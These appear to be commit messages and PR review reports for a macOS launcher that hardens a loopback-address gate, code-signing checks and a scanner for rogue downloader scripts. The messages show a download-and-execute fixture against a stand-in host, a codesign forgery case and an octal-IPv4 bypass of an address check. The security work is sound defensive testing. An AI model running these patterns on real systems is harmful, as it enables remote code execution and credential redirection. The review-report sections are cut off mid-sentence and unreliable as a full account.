…why a test must be able to fail (#2) Three things changed under the documentation in f1f1a27 and none of them were written down. The plugin now has a distribution layer: neither the MCP wrapper nor the session-start hook downloads anything itself, they pass a binary name to fetch-release-binary.sh. That shape exists because the previous arrangement let a CRITICAL be fixed in one of two identical downloaders, so it belongs in the architecture section rather than being rediscovered by whoever adds the third caller. The loopback gate parses addresses now. The old text described what it refuses without saying how it decides, which is exactly the gap that let `hasPrefix("127.")` sit there looking like an address check. Both files now say it parses, and CLAUDE.md records why DNS is deliberately not consulted — resolving would make the answer depend on a lookup that can differ between the check and the connection after it. And `make test` covers the shell suites. Calling them optional would misdescribe them: neither the codesign-forgery case nor the no-unverified-download property is expressible in the Swift suite. The testing section gains the part that is actually load-bearing. Three rounds running, fixes shipped with tests whose fixtures were drawn from the same mental model as the code and so could not disconfirm it — both instances are named, because the pattern is easier to avoid when you can see what it looked like. Also the two lessons from the round-3 fixes themselves: run the new test against the old code first, and give every gate at least one case it must NOT refuse, since a check that refuses everything passes all the negative ones. Refs #2
Verify Report — PR #7 (round 4, DEGRADED 4/6)Enginepai-ensemble 2.20.0, dispatch model Freshness gate: What this round did not do: no cross-model pass, and — the one that matters here — AggregateFAIL — 55 findings: 1 CRITICAL, 13 HIGH, 21 MEDIUM, 14 LOW, 6 INFO. CRITICAL — the loopback gate is bypassed by an octal-prefixed IPv4
Only the first octet is inspected ( And the preflight hands the user a green light on the way past. Confirmed on the MCP server too: This falsifies text I added in this very round. README: "The host is parsed as an It does not. I replaced one spelling-sensitive parser with a different spelling-sensitive The fix is to require canonical form — parse, The two findings that matter most are about my testsIn the same commit I added a CLAUDE.md section titled "Write the test so it can The forgery case never asserts that the forgery is a forgerycodesign --force --sign - --identifier "x
TeamIdentifier=$TEAM_ID" "$TMP/forged" 2>/dev/null # exit status never examinedIf The positive case is skipped by default, and a skip exits 0That positive case is the only thing that caught my malformed And the property scanner matches spellings, not the propertyTwo lenses independently reported that Remaining HIGH (13)
Both MEDIUM / LOW (35)Not enumerated here; see the workflow transcript. Recurring: the round-3 HIGHs left open VerdictDo not merge. Four rounds, and each round has found that the previous round's fix did not establish Writing the rule down did not prevent the rule from being broken. The next attempt |
…to fail (#2) Round 4 found one CRITICAL and, more usefully, found it in the tests I had written to prevent exactly this. **The loopback gate was still spelling-sensitive, in a new way.** BSD's `inet_pton` reads a leading-zero dotted field as decimal; the system resolver and Claude Code's WHATWG URL parser read it as octal. So `0127.13.37.42` passed the gate as 127.13.37.42 while `ping` and `new URL()` both resolve it to 87.13.37.42 — routable space. Only the first octet was inspected, so pinning `0127` and choosing the rest freely reached all of 87.0.0.0/8, with no DNS involved. The preflight made it worse rather than catching it: URLSession agrees with `inet_pton`, so `omlx-claude --host 0127.0.0.1` reported a green light against the real local server and then handed Claude Code an address it resolves to 87.0.0.1. The gate now requires the host to already be canonical — parse, print back, demand equality — so any spelling two parsers could disagree about is refused without needing to predict which parser runs later. v6 compares bytes rather than text, because `0:0:0:0:0:0:0:1` is a spelling people write and every parser agrees on; a strict text round-trip there would reintroduce the over-strictness the `::1` string equality had. The doc comment claiming "address parsing removes the whole class rather than the examples anyone happened to think of" is corrected rather than deleted. That sentence was written one round earlier, was false, and is the reason this defect was harder to see than the string-prefix one it replaced: a reader checking whether spellings were handled found an assurance instead of a check. **And the two tests that could not fail.** In the same commit as a CLAUDE.md section titled "Write the test so it can fail": - the forgery case discarded codesign's exit status, so if codesign ever refused the embedded newline the file would simply be *unsigned*, be refused for that instead, and the case would print ok forever while defending nothing. Constructing the forgery is now itself asserted, twice: codesign must succeed, and the injected line must actually appear in `codesign -dv` output. - the positive case — the guard that caught a requirement string which refused EVERYTHING while passing all eight negative cases — skipped by default and a skip exited 0. Skips are now counted and reported, and REQUIRE_FULL_SUITE=1 makes any skip a failure. Verified all three ways: skip visible without DEVELOPER_ID, exit 1 under REQUIRE_FULL_SUITE, 9/0/0 with the certificate present. **`--settings` does not outrank everything**, and the diff asserted that it did in five places, two of which I added last round. Claude Code's documented precedence puts managed/MDM policy settings above command-line arguments, so on a managed Mac our value loses — #2715 is not worked around and the gate verified an address the session does not use. The claims are qualified, and the managed paths are now scanned so a conflict there is named. That population is not hypothetical: #2715's own trigger is "any gateway, proxy, or rate-limiting plugin", which is the fleet-managed setup most likely to also carry policy settings. 85 Swift tests, 11 shell assertions. The octal spellings were confirmed failing against the old code before the fix was written, and the fix was re-verified live on both binaries. Refs #2
Round-4 findings addressed —
|
… holds (#2) Both files still said the gate parses addresses rather than matching spellings. Round 4 falsified that sentence with a working bypass, and leaving it would have been worse than leaving nothing: the same sentence, added one round earlier, is why the octal defect was harder to find than the string-prefix defect it replaced — a reader checking whether spellings were handled found an assurance where a check should have been. What holds is narrower and checkable, so that is what is written: the host must be canonical, verified by printing the parsed address back and requiring equality. Both failures are named, with the parser disagreement spelled out, and CLAUDE.md carries an explicit instruction not to re-broaden the claim. Also corrected: `--settings` "outranks user settings" appears in both files, and managed MDM policy settings sit above command-line arguments. On a managed Mac #2715 is not worked around and the gate verified an address the session does not use. CLAUDE.md notes that five such overstatements had to be fixed at once, since the pattern is the thing to catch, not the sentence. CLAUDE.md's "Write the test so it can fail" section gains the two round-4 lessons, both found in the tests written for that very section: a skip is not a pass (hence REQUIRE_FULL_SUITE), and a test that constructs a fixture must assert the fixture has the property it exists to have. Refs #2
Round 4 reported that this scanner matched spellings rather than the property, and one
lens said it had written rogue downloaders that passed. My round-4 report listed it as
not reproduced and open. Reproducing it took one attempt:
python3 -c "…urlretrieve…" https://example.com/payload "$HOME/bin/evil3"
chmod 755 "$HOME/bin/evil3"
"$HOME/bin/evil3" "$@"
No `curl`, no `chmod +x`, no `exec "$BINARY"`. Three clauses, all walked around, doing
exactly what the round-2 CRITICAL was filed about — and the scanner reported 3 passed, 0
failed, exit 0.
Two earlier rogues were caught only by accident, which is its own signal: one matched
because `nscurl` happens to contain `curl`, the other because it used `chmod +x` when it
could as easily have used `chmod 755`. Each evaded one clause and was caught by the other
by luck.
The rule is now inverted. Exactly one file may fetch, exactly one may verify, and every
other script under plugin/ must be free of network access and of running anything out of
the install directory — so a new script is a failure until it is deliberately permitted or
written to delegate. Enumerating violations can always be walked around; enumerating
permitted files cannot.
All three rogues now fail, each for the right reason, and the previously-passing one fails
too. Note rogue1 evades the network pattern (it builds the string as "cu""rl") and is
caught by the second clause instead — evading one rule no longer means passing.
The maintenance cost is that a new fetch mechanism must be added to the pattern. That is
the right cost: the alternative is a scanner that silently stops covering whatever gets
invented next.
CLAUDE.md records the failed version alongside the working one, because "assert the
property" was already written there and was not, by itself, enough to get this right.
Refs #2
Verify Report — PR #7 (round 5, DEGRADED 1/6)Enginepai-ensemble 2.20.0, Freshness: This is the thinnest coverage of any round — and it returned three HIGHs, all saying the AggregateFAIL — 3 HIGH, all confirmed. H1 — The allowlist is not an allowlist, and two rogues are sitting in the tree right nowThe scanner reports 6 passed, 0 failed with these two files present in That is the verbatim round-2 CRITICAL, and the scanner never even enumerates it:
The reviewer's argument is the part that matters. CLAUDE.md now says "Enumerate what So this is the third time I have written an over-broad assurance into CLAUDE.md in the It also found the authorization is by basename: Where I think the reviewer overstated: it says the RED-first claim is false for the H2 — The IPv6 canonical guard is dead code, and the octal defect survives through itMutation-tested: deleting the entire re-parse-and-compare block leaves 85/85 green.
Which means the defect I fixed this round is still live by another route:
Node rejects that URL, so it is not directly exploitable through Claude Code today — but The single v6 fixture, H3 — The managed-settings warning is documented in four places and does not exist
Meanwhile four places say otherwise, including the
This is a loopback finding, not a docs nit. CLAUDE.md states the consequence itself: And it cannot say so as currently designed: The new managed paths have zero coverage: deleting both lines leaves 85/85 green. Process1 of 6. Five agents errored. No cross-model pass, no lens coverage at all — every That the thinnest round produced three confirmed HIGHs, two of which I could not have VerdictDo not merge. Five rounds, five times the previous round's fix did not establish its |
…edded IPv4, report managed scope (#2) Round 5 ran 1 of 6 — five agents errored, only the adversarial reviewer finished — and returned three HIGHs. All three reproduced. Two I could not have found by re-reading my own work. **Two rogue downloaders were sitting in plugin/ and the scanner said 6 passed, 0 failed.** One was a verbatim copy of the round-2 CRITICAL — curl, chmod +x, exec — and was never even enumerated, because `find` matched `*.sh` and the file had no suffix while hooks.json accepts any executable path. A background security review independently flagged both as CRITICAL. They are out of plugin/ entirely now, and they are the fixtures. The scanner called itself an allowlist and was three denylists: a filename glob, a mechanism regex, a path regex. Its own header admitted a new fetch mechanism would have to be added to the pattern, which is the definition of the thing it claimed not to be. It also authorized by basename, so any file named fetch-release-binary.sh anywhere under plugin/ inherited the download privilege, and the "must call the verifier" check was a grep a comment satisfied — round 2's original defect, reproduced inside the check written to prevent it. Version 3 allowlists repo-relative paths: every regular file under plugin/ is enumerated whatever it is called, and one not on the list fails regardless of contents. And it has cases that must fail — four fixtures, each of which a previous version reported clean. Deleting the allowlist clause turns all four red, which is the property versions 1 and 2 never had: they only asserted that compliant files were compliant, so blanking a pattern left them green. **The v6 canonical guard was a tautology.** inet_pton(inet_ntop(x)) == x always holds — verified in C across eleven spellings — so the re-parse-and-compare block rejected nothing and v6 had no canonicalization at all. Deleting the whole block left 85/85 green. The octal defect fixed last round therefore survived: `::ffff:0127.13.37.42` reached isIPv6Loopback as bytes 127.13.37.42 and was called loopback. Node rejects that URL, which is not why it must be refused here — depending on a downstream parser to reject an address is the same reasoning that produced the original octal bug, where the preflight "worked" only because URLSession happened to agree with inet_pton. Embedded IPv4 literals are now canonicalized directly, and the fix is mutation-tested: removing the guard turns the new test red. **The managed-settings warning was documented in four places and did not exist.** ANTHROPIC_BASE_URL was absent from reportableKeys, and a test pinned that as correct. It could not simply be added: loadUserSettings merged every scope into one dictionary, so a merged key cannot be attributed, and warning about a key we normally win would have false-positived on every ordinary user. Managed scope is now read separately by loadManagedSettings and reported by managedConflicts, which deliberately includes the keys we would otherwise win. The four claims are corrected to describe what the code does, and the launcher prints the warning. Where I think the reviewer overstated: it said the RED-first claim was false for the allowlist because the rogue files postdate the commit. I did run the new scanner against three rogues and showed 3 FAILs before committing. The accurate version of the criticism is that no negative fixture was committed, so the scanner had no case that must fail — which is the defect, and is fixed. 90 Swift tests, 16 shell assertions. Refs #2
Round-5 findings addressed —
|
Verify Report — PR #7 (round 6, full 6/6)Posted a shift late: GitHub returned 503 on both the GraphQL and REST paths when this was Enginepai-ensemble 2.20.0, AggregateFAIL — 64 findings: 18 HIGH, 0 CRITICAL, 20 MEDIUM, 15 LOW, 11 INFO. Per lens: requirements 18, logic 12, security 14, regression 10, codex 1, devil's advocate 2. First round with no CRITICAL, and the loopback gate survived a dedicated attack from a Ten of the eighteen HIGHs are about one file — the scanner I wrote to enforce the The finding I would put first, because of what it isI stripped the entire verification out of the permitted downloader, left one trailing The comment-stripper is The scanner's own comment, which I wrote, says:
I wrote that sentence and then wrote the grep it describes. Round 2's original defect, A reviewer demonstrated the same bypass one layer out: replace the fetcher call in The scanner's other HIGHs
The README finding is the one I would least have expected and the most instructive: I kept Three findings outside the scanner
The managed-settings conflict is named but never enforced. The warning now exists — The canonical refusal is misreported, and the remedy it prints would reopen the octal What was independently confirmedFor the first time, a claim of mine was verified rather than falsified. The devil's
It also confirmed the allowlist-clause mutation, and split my round-5 rebuttal correctly: Where it caught me over-claiming anyway: the same doc comment promises two guarantees — Low security impact — v6 hex carries no octal reading — but it is a documented guarantee Five-round deferralsStill open, and multiple reviewers now say the deferral pattern outweighs the individual VerdictDo not merge. 18 HIGH. The trend is real and the loopback gate now survives targeted attack. But the enforcement |
…lause a failing case (#2) Round 6 ran 6/6 clean and returned 18 HIGH, 0 CRITICAL. Ten of the eighteen were in the scanner written to enforce the property. This addresses those, plus the certificate finding. **The fetcher clause was satisfied by a trailing comment.** The comment-stripper was `grep -vE '^[[:space:]]*(#|$)'`, which removes only comments that *start* a line. Stripping all verification out of the permitted downloader and leaving : "skipping checks" # TODO: call verify-download.sh here one day produced `ok — is the permitted downloader and runs the verifier`, 8 passed / 0 failed. The scanner's own comment, on the line above, says "a grep for the name is satisfied by a comment, which is round 2's original defect". That defect, third recurrence, inside the check built to prevent it. Two changes rather than one, because they fail independently: the stripper now removes trailing comments (a `#` opens one only at the start of a word, so `${x#y}` and `http://a#b` survive, and over-stripping is the safe direction anyway), and the clause now requires an invocation — `bash …/verify-download.sh` — rather than a mention. **Three of four clauses had no case that must fail.** Every fixture was copied to `plugin/hooks/<basename>`, so a fixture written for the fetcher clause landed on an unlisted path and was refused for being unlisted. It passed while proving nothing — the failure mode the adversarial reviewer predicted before finding it. A fixture's path under fixtures/ is now where it installs under plugin/, and there is one fixture per clause. Each was mutation-tested individually: make that clause always-true and that fixture goes red. One of those mutations first appeared to prove the fetcher clause still had no test. It had; the `sed` had silently failed to match. A mutation that does not mutate looks exactly like a clause with no coverage, so the mutation is now asserted before its result is read — the same rule this repo already wrote down for fixtures, applied one level up. **codesign accepted an Apple Development certificate from the same team.** `subject.OU` is the team id on both certificate kinds, so OU says which team and never which kind. Apple Development certs are issued to anyone on a team and live on developer laptops; accepting one meant any team member's dev cert satisfied the release gate. The requirement now names the Developer ID marker OID (1.2.840.113635.100.6.1.13). Proven both directions: the new case fails against the old requirement and passes against the new one, and the positive case — a genuinely Developer ID-signed binary — still passes, so this is not another gate that refuses everything. 90 Swift tests, 20 shell assertions. Refs #2
Round-6 findings addressed —
|
| old requirement | new | |
|---|---|---|
| Developer ID | accepted | accepted |
| Apple Development, same team | accepted | refused |
The new test case fails against the old requirement (expected refuse, got pass) and the
positive case still passes — this is not another gate that refuses everything.
3. The deferrals now have their own issues
They had lived only in PR comments for five rounds, which is what several reviewers said
outweighed the individual defects. Filed so they survive this PR:
- omlx-claude puts the oMLX token in argv, where ps can read it #8 — the oMLX token travels in argv, visible to
ps. Notes that the launcher promotes
anOMLX_TOKEN-sourced secret from environment into argv, and records the known fix
(mode-0600 file;--settingstakes a path) with the two trade-offs left to settle. - UpstreamWorkaround's .unreadable staleness branch has no test #9 —
.unreadablestaleness has no coverage. Notes that the test should assert the
notice's content, not just the enum case, or it stays green when the message empties. - A user-supplied --settings lands after ours and nothing detects it #10 — a user-supplied
--settingslands after ours, undetected. Notes that the outcome
depends on Claude Code's argument parser, which this repo deliberately does not model —
the same reasoning error that produced the loopback bugs.
The fourth deferral was the codesign OIDs, fixed above rather than filed.
Still open from round 6
The parseCanonicalIPv6 doc comment promises a hex-group guarantee that does not exist in
code, with a vacuous test in front of it; the canonical refusal is reported as "non-loopback"
and the remedy it prints (OMLX_ALLOW_REMOTE=1) would reopen the round-4 hole; the managed
conflict is named but not enforced; in_list is a substring test; symlinks are not followed.
…clauses fixtures (#2) The remaining round-6 findings. **The refusal message was a documented path back into the round-4 defect.** `--host 0127.0.0.1` was refused as a "non-loopback host" and the message told the user to set OMLX_ALLOW_REMOTE=1. Doing so let it through — reproduced — so the remediation walked the user into the octal bypass, with a green preflight against the real local server on the way past. A refusal that advises its way around itself is worse than no refusal, because it carries authority. `LoopbackPolicy.classify` now returns `.loopback`, `.remote` or `.nonCanonical`, and the opt-in covers only `.remote`. That is not a message fix wearing a code disguise: the opt-in means "this other machine is mine", and nobody can assert that about an address that names two, because they have not named one. The new message says to write the address canonically and states that the opt-in does not apply. Verified in all four directions: ambiguous refused with and without the opt-in, genuinely remote still gated by it, loopback still reaching the server. **A doc comment promised a guarantee the code did not provide, for the fourth time.** parseCanonicalIPv6 claimed to check that "hex groups must be plain lowercase hex without an accidental second interpretation". Nothing inspects hex groups. The test that appeared to cover it was vacuous — `::0001:0000:0000:0000:0001` was refused for expanding to ::1:0:0:0:1, which is not ::1, and stayed green with the whole mechanism deleted. Resolved by deleting the false half and pinning the real behaviour, not by adding the check: an IPv6 hex group has no second reading, `0001` is 1 under every parser, and refusing leading zeros there would repeat the over-strictness that once rejected 0:0:0:0:0:0:0:1. The comment now says which guarantee exists, which does not, and that the vacuous test is why the gap survived. **The scanner's last two weaknesses, each with a fixture that proves it.** - `in_list` was a substring test over a space-joined list, so a path equal to two adjacent entries joined by a space matched. The fixture is a file at `bin/omlx-connector-wrapper.sh hooks/session-start.sh` — treated as a delegator by the old form, at which point it only has to *mention* the fetcher while doing the round-2 CRITICAL. - `find -type f` does not report a symlink as a file, so a symlinked rogue was invisible to the scan and perfectly executable at runtime. `-L` follows them; the fixture installs as a link rather than a copy. The in_list fix initially had no fixture — restoring the substring form left all fixtures green. That is the defect this suite exists to prevent, so the fixture came before the commit rather than after the next review round. 92 Swift tests, 21 shell assertions. Refs #2
…rning about it (#2) The last round-6 finding. The managed-settings warning existed — round 5's fix held that far — but the value was never judged and the launch proceeded. So on a managed Mac the gate verified 127.0.0.1, printed a notice, and handed the session to the policy endpoint with the bearer token. A warning about the invariant is not the invariant. Managed settings cannot be overridden; they can be declined. `managedBaseURLVerdict` runs a managed `ANTHROPIC_BASE_URL` through the same `LoopbackPolicy` the launcher applies to its own inputs — ambiguous spellings included, for the same reason — and a non-loopback verdict now fails the launch with a message that explains the address checked moments earlier is not the address the session would use. The message deliberately does not mention `OMLX_ALLOW_REMOTE`. That opt-in cannot override a managed setting, so offering it would be the round-6 defect verbatim: a refusal that advises its way around itself. **A mutation exposed a gap worth recording rather than papering over.** Deleting the two lines in main.swift that act on the verdict leaves the entire suite green — the decision function is tested and mutation-proven, its call site is not, because main.swift execs. That is the same finding shape one level down, and every guard in that file inherits it. CLAUDE.md now says so under Testing notes, and the refusal's text is pinned by test since that much can be checked: a message that went empty would still "work" while telling the user nothing. 96 Swift tests, 21 shell assertions. All six round-6 items in this pass are now addressed. Refs #2
Round-6 remainder addressed —
|
…e one (#11) Auto mode is a named Claude Code permission mode, and on Pro/Max/Team plans running 2.1.228+ it is the mode a session *starts* in: everything runs, reviewed by a classifier instead of by the operator. That premise is calibrated for a hosted model. This command replaces the acting model with a local one and says nothing about oversight, so the two reported symptoms follow directly — a tool loop with no confirmation step left to break it, and a malformed tool call executed rather than reviewed. Turning it off needs an escape hatch, and the escape hatch is where this goes wrong quietly if it is lenient. `autoModeOptIn` accepts **only** the literal `1`, matching `LoopbackPolicy.allowsRemote` exactly. The failure mode of a loose parse is not an error anyone can trace: `OMLX_ALLOW_AUTO_MODE=true` would read as consent, auto mode would come back, and the next thing the operator sees is the local model acting unreviewed. The test carries the near-misses rather than a single happy path — `true`, `TRUE`, `yes`, `on`, `01`, `" 1"`, `"1 "`, `0`, empty, and `disable`. A `!= nil` check passes none of them, which is the point: this repo has already shipped tests whose fixtures came from the same mental model as the code and so could not disconfirm it. Nothing consumes this yet. The payload cannot carry the key it gates until its shape is widened past `env`, which is the next commit. 97 Swift tests. Refs #11
…ugh it (#11) The defect was the payload's *shape*, not a missing key. `settingsJSON` built `["env": overrides(...)]` and nothing else, so a top-level settings key had nowhere to go — `disableAutoMode` here, and anything non-`env` this launcher ever needs after it. The key is a consequence of the shape change, which is why they land together. `settingsPayload` now assembles a top-level dictionary of which `env` is one member, and emits `disableAutoMode: "disable"` unless `OMLX_ALLOW_AUTO_MODE=1`. That adds a third category to the split this file's header describes: besides keys we override and keys we only report, there are keys we set *on the operator's behalf* — defaults that are right for a local model driving the session, takeable back explicitly. **`managedConflicts` needed the top level too, or it would have been inert.** The obvious reading of "register the key with managedConflicts" is to add it beside the others, but that function filters `managedSettings["env"]`, and `disableAutoMode` is not an environment variable. Registered there it could never fire — a check that looks like coverage and is not, which is the CLAUDE_CODE_DISABLE_1M_CONTEXT shape one level down. It now reads the top level, and `permissions.disableAutoMode` as well, because Claude Code documents that spelling and a policy using the one we did not look for would go unnamed. **Both guards are mutation-proven, and the mutations were asserted before their results were read.** Emitting the key unconditionally turns `testOptInSuppressesTheKey` red; relaxing `== "1"` to `!= nil` turns `testOptInAcceptsOnlyLiteralOne` red on `true`, `TRUE`, `yes` and the rest. The first of those is the positive case that stops this from becoming a check that refuses everything and passes every negative test. Two existing tests unwrapped the payload as `[String: [String: String]]` and now unwrap `env` on its own. That cast failing was the intended signal, not collateral damage: it is what a payload that carries mixed types looks like from the outside. Verified against Claude Code 2.1.234: `claude --settings '{"disableAutoMode":"disable"}'` removes `auto` from the Shift+Tab cycle. The key is honoured through `--settings`; that was the premise this change was gated on and it is not assumed. 103 Swift tests. Refs #11
…ission-mode auto (#11) Claude Code downgrades a `--permission-mode auto` session to `default` when `disableAutoMode` is set, and says nothing about it. An overridden *deliberate* choice is the one thing this launcher does not swallow — `unwinnableConflicts` and `managedConflicts` exist for the same reason — so the launch names it and points at the opt-out. **`ProbeTarget.value` looked like the right tool and would have been inert.** It resolves every token through `matchOption`, which only recognizes `omlxOptions`; `--permission-mode` belongs to Claude Code, so the scanner returns nil for it under every input. Reusing it would have produced a detector that can never fire — the second instance of that shape in this change, after the `managedConflicts` one. The discipline is shared and the mechanism is not: stop at `--`, accept the `=` form, last occurrence wins, and match exactly, since Claude Code's parser takes no argparse-style prefixes and inventing them would report a flag nobody passed. **The note moved ahead of the preflight, and testability is the reason.** It is a fact about argv that owes nothing to whether the server answers, and putting it before the network call makes it checkable by hand without a running oMLX. That matters more here than elsewhere: CLAUDE.md already records that nothing in main.swift has a unit test and that a mutation there leaves the whole suite green, so a guard that cannot be exercised without infrastructure is a guard nobody will check. Hand-checked, all six against the built binary with no server running: --permission-mode auto → note fires --permission-mode default → silent -- --permission-mode auto → silent (terminator honoured) -p "tell me about auto mode" → silent (bare word is not a flag) OMLX_ALLOW_AUTO_MODE=1 … auto → silent (opt-in honoured at the call site too) OMLX_ALLOW_AUTO_MODE=true … auto → still fires (strictness holds end to end) The last two are the pair that matters: the opt-in has to reach this call site, not only the payload, and it has to stay strict on the way. 109 Swift tests, 21 shell assertions. Refs #11
…flags pass through (#11) The help text said `--permission-mode and the rest behave as they always do`. After this change that sentence is false for exactly one value, and a help text that is false about the flag a user just typed is worse than one that says nothing. `--help` now carries an AUTO MODE section, `OMLX_ALLOW_AUTO_MODE` joins ENVIRONMENT beside `OMLX_ALLOW_REMOTE`, and README gains a matching bullet. **All three places state the claim at its actual size.** The launch *asserts* auto mode off; it does not guarantee auto mode stays off. Managed policy outranks `--settings`, and a `--settings` of the operator's own is parsed after ours (#10). Writing "auto mode is off" would be the #2716 mistake again — that one was a mechanism which was harmless and a claim which was the defect, and the disproving evidence was already in the output when the claim shipped. CLAUDE.md records the third category this opens up. The override used to split in two, keys we determine and keys we only report; there is now a third — keys we set *on the operator's behalf*. It is the one to be careful with, because unlike the other two it changes behaviour nobody asked about. It also records both inert-mechanism traps hit on the way, because each looked exactly like the obvious implementation: - registering a non-`env` key with `managedConflicts`, which filters `managedSettings["env"]` and would never have fired; - reusing `ProbeTarget.value` for a Claude Code flag, when it resolves tokens through `matchOption` and returns nil for anything outside `omlxOptions`. Both are the `CLAUDE_CODE_DISABLE_1M_CONTEXT` shape one level down: coverage-shaped and doing nothing. Writing down where they hide is cheaper than finding them a third time. 109 Swift tests, 21 shell assertions. Refs #11
…may not have (#11) Adding `disableAutoMode` to `managedConflicts` made an existing sentence false. The notice ended with "so the address checked above may not be the address the session uses", which was true while every key it could name was an address or a credential. A managed policy that sets only `disableAutoMode` now produces that same sentence, answering a question the operator did not ask about a guarantee this key has nothing to do with. The mechanism was fine and the claim was the defect — the shape this repo keeps writing down, and one I introduced two commits ago rather than inherited. `managedConflictNotice` moves the text into LaunchSettings and makes the address sentence conditional on an address key actually being named. Moving it is the point as much as the fix: CLAUDE.md records that nothing in main.swift is unit-tested and that a mutation there leaves the suite green, and the text *is* the entire product of this path, so it is exactly the part worth pinning. Mutation-proven, mutation asserted before its result was read: restoring the unconditional form turns `testAddressSentenceAppearsOnlyWhenAnAddressKeyIsNamed` red. The paired assertion — that the address warning still appears for `ANTHROPIC_BASE_URL` — is what keeps this from being a fix that deletes the warning and passes by saying nothing. 112 Swift tests, 21 shell assertions. Refs #11
… main.swift (#11) CLAUDE.md already warned that nothing in `main.swift` is unit-tested and that a mutation there leaves the suite green. It said to check those by hand, and stopped. `9d12a56` did something better than checking harder, and the reasoning was not written down anywhere: when the entire product of a path through that file is *text*, the text can move into a testable type and leave a condition and a call behind. That is the smaller lesson inside the managed-notice fix. The bug was a sentence about addresses that stayed true only while every key it could name was an address or a credential; adding `disableAutoMode` made it false and nothing went red, because a string built inline in `main.swift` cannot be asserted on. Message-shaped bugs are what this repo's history mostly consists of — the mechanism harmless, the claim the defect — and a string-returning function is exactly what they can be made to fail on. The hand-check is not retired by this, only made cheaper: what remains at the call site is an `if` and one line. 112 Swift tests, 21 shell assertions. Refs #11
`omlx --version` now reports 0.6.4, five releases past the 0.6.0rc1 the settings override was last read against, so the launcher had started printing its staleness notice on every run. Re-read both files the baseline names, in the installed app rather than upstream's tree: - `integrations/claude.py` is byte-identical between 0.6.0rc1 and 0.6.4. Neither jundot/omlx 2715 nor jundot/omlx 2716 is fixed, so the override is still load-bearing and this bump records that the ground was checked, not that it shifted. - `cli.py` moved in one place `launch` reaches: it now splits the `--` forwarding separator itself instead of leaving it to `parse_known_args`. Address resolution is unaffected, because neither the old parser nor the new one reads a flag after `--` as an oMLX option — which is what `ProbeTarget` already assumes when it stops there. The baseline-relative tests moved with the constant. The old case asserted that a release outranks its own rc using 0.6.0 as the fixture, and 0.6.0 is now older than the baseline. The replacement asserts both directions — 0.6.4rc1 must stay silent, 0.6.5rc1 must fire — so neither can pass by refusing everything. Both were run against the un-bumped constant first, and the silent-direction case failed there, as it had to. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
…0.6.4 The baseline bump in 0d2093a required re-reading the installed oMLX. Two facts that re-read established were left in the commit message, where the next person designing against them will not look. Both are about whether the environment is a usable channel through `omlx launch claude`, and they point opposite ways: - `_scrubbed_env` removes exactly three `PYTHON*` keys and copies the rest, so anything exported before `execvp` arrives intact. It is not a general filter, which is easy to assume from the name. - `ANTHROPIC_AUTH_TOKEN` is reassigned on every launch, so that one key cannot be delivered that way at all. The asymmetry is the part worth writing down: the environment is viable in general and dead for the credential specifically, and a design that checks only the first fact will look correct until it ships. It is also why the credential rides a command-line argument today. Refs #8 Refs #12 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Everything verified so far ran `-p`. That path cannot invoke a slash command, a picker, or a permission prompt, so `/model` — the headline defect of #12 — was reported as untestable rather than tested. The harness could not reach the behaviour the P0 issue is about, and nothing said so, because every test that did run came back green. The rule names the split, the mechanism, and the traps that were paid for getting here: `~/.claude/` is a sensitive path so scratch dirs cannot live there; a skip is not a pass; polling for the prompt is not `sleep 5`; and an isolated CLAUDE_CONFIG_DIR is mandatory because a headed test runs the exact code path that writes to the operator's real config. Headed tests get their own target rather than joining `make test`, which is deliberately hermetic — no network, no oMLX. That target does not exist yet; the rule says so rather than reading as though it did. CLAUDE.md previously named one coverage boundary (needs a live oMLX server) and now names both, so the second one stops being invisible. Refs #17 Refs #12 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
`process-attachments.sh` writes `_manifest.json` on every diagnose — an empty one when the issue has no attachments — so `.claude/.idd/attachments/` is created by the act of diagnosing and then reported untracked forever after. It regenerates on its own, so a one-time cleanup would not have held. The pattern is deliberately narrow. Checked against what is actually tracked rather than reasoned about: `.claude/` would cover `.claude/.idd/local.json` and `.claude/rules/`, and `.claude/.idd/` would cover the former. Neither would un-track those files today, but the next file added under either path would be ignored silently, and that failure surfaces much later than the edit that caused it. Second effect, not noted on the issue when it was filed: this untracked path is the sole reason `git status --porcelain` was non-empty, which is what /idd-all Phase 0.5 reads for its clean-tree gate. Every PR-mode run aborted before it started. That gate now passes. Refs #13 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
The rule shipped in b69328e named `make test-headed` and that target did not exist, so it obliged nobody. This adds the target, the first suite, and the directory the separation depends on. The hermetic property of `make test` is kept STRUCTURALLY, not by discipline: `test-shell` globs `scripts/tests/*.test.sh`, which is not recursive, so a suite under `scripts/tests/headed/` cannot join it by accident. Verified by putting a file there and re-running the glob. The Makefile now says so at the glob itself, because making it recursive is the one edit that would silently undo this. What the suite actually covers is a real isatty branch, not a nominal one: oMLX draws a curses picker with an "↑↓ navigate … q cancel" footer through a PTY and a plain numbered list without one. `-p` cannot reach the first. Case 2 is the load-bearing assertion, and it is keystroke-DEPENDENT by design. A headed test's characteristic failure is asserting on output that would have appeared anyway — passing while driving nothing. Sending `q` and requiring the session to end cannot pass without injection. HEADED_NO_INJECT=1 exercises that, and it was run: case 2 goes red, case 1 stays green. Two assertions about isolation were written and both removed, which is recorded in the test rather than quietly dropped: - hashing ~/.claude.json and requiring it unchanged is UNSOUND here. That file is written by any live Claude Code session, including the one running the test, so a change is not attributable to the subject. It passed on one run and failed on the next with identical code. - requiring the isolated root to be populated is wrong for THIS test, because cancelling at the picker means Claude Code never launches and nothing writes anywhere. The empty directory is correct behaviour. Attributable isolation evidence needs a run that actually launches. Both states are printed as notes and neither is counted — an uncounted truth beats a green assertion that proves nothing. CLAUDE_CONFIG_DIR is still set on every session the suite starts, because the enforcement matters even where the assertion cannot live. Skip semantics follow the existing shell suites: missing tmux, unbuilt binary or no oMLX server all skip and are counted, and REQUIRE_FULL_SUITE=1 turns any skip into a failure. Both exit codes were checked. Refs #17 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Caught by the doc-sync sweep at close time. Two sentences had gone stale the moment e78941d landed: "no harness here at all" and "#17 tracks building the target". Both described the state the issue was filed in, not the state it closed in. Replaced with what is true now — the target, where the suites live, and the non-recursive glob that keeps `make test` hermetic — plus the part that did NOT change: having a runner is not having a trigger, which is #18. Refs #17 Refs #18 Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
